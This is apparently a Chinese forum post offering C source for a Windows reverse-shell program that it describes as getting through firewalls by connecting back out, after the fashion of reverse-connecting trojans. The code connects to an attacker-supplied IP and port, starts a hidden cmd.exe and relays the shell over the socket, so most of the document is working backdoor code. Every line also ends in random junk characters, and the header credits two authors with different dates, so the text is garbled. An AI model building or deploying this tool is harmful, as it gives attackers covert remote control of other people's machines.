这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +XW1,ly~
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/* ============================== xg 8R>j
Rebound port in Windows NT :RwURv+kT
By wind,2006/7 hwQ|'^(@O
===============================*/ i_QiE2d
#include d$xvM
#include _wX(OB
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#pragma comment(lib,"wsock32.lib") :>Qu;Z1P
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void OutputShell(); 7FD,TJs
SOCKET sClient; m,J
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :(.:bf
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void main(int argc,char **argv) /m,i,NX07
{ ^)a:DKL
WSADATA stWsaData; -B!
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int nRet; ;' |CSjco
SOCKADDR_IN stSaiClient,stSaiServer; >n(dyU @
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if(argc != 3) Xwjm T
{ 2X*n93AQi
printf("Useage:\n\rRebound DestIP DestPort\n"); b?VByJl
return; {K}Dpy
} P}( c0/
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WSAStartup(MAKEWORD(2,2),&stWsaData); F9d6#~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9j5|o([J
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stSaiClient.sin_family = AF_INET; p!)tA
stSaiClient.sin_port = htons(0); :#_k`{WG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); lUp%1x+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gB+CM?
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{ $}5M`p\&C
printf("Bind Socket Failed!\n"); VS>hi~j
return; 5dG+>7Iy}
} $G9E=wn
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stSaiServer.sin_family = AF_INET; ,KF>@3f
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e6qIC*C !
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); | z_av
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4ji'6JHPg
{ gbh/`
printf("Connect Error!"); 2chT^3e
return; Z=%u:K}[
} a9_2b}t
OutputShell(); p)"EenUK
} 1DL+=-
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void OutputShell() I\rjw$V#
{ f(K1,L:&7
char szBuff[1024]; glKPjL *
SECURITY_ATTRIBUTES stSecurityAttributes; b}u#MU
OSVERSIONINFO stOsversionInfo; 9)j"|5H
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; '-G,7!.,r%
STARTUPINFO stStartupInfo;
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char *szShell; >s,*=a
PROCESS_INFORMATION stProcessInformation; L;b-=mF
unsigned long lBytesRead; qEdY]t
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KK-+vq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BP4vOZ0$
stSecurityAttributes.lpSecurityDescriptor = 0; !4t%\N6Ib
stSecurityAttributes.bInheritHandle = TRUE; [`KQ\4u
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @OHNz!Lj:d
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {c&9}u$e
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \(5Bi3PA}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tm~jYgJ
stStartupInfo.wShowWindow = SW_HIDE; F1`mq2^@
stStartupInfo.hStdInput = hReadPipe; :b#5cMUe
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~ r$I&8
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GetVersionEx(&stOsversionInfo); _,- \;
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switch(stOsversionInfo.dwPlatformId) ' 94HVag
{ `X`|]mWj
case 1: 2Paw*"U
szShell = "command.com"; BTE&7/i21
break; rmI@ #'
default: }yCgd 5+_
szShell = "cmd.exe"; i'#%t/ u
break; .3
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} ^$lsmF]^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fK=vLcH
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send(sClient,szMsg,77,0); RWn#"~
while(1) $,Y?qn/
{ #-d-zV*
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |'#uV)b0@
if(lBytesRead) Gs}lw'pK
{ ;[Hrpl
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); uRw%`J4H
send(sClient,szBuff,lBytesRead,0); ]6HnK%
} 061 f
else @;d7#!:cE
{ iWn7vv/t
lBytesRead=recv(sClient,szBuff,1024,0); /3~}= b
if(lBytesRead<=0) break; =iPQ\_ON@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cuQ=bRIb
} f<3r;F7
} vYG$>*
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return; DRi/<
}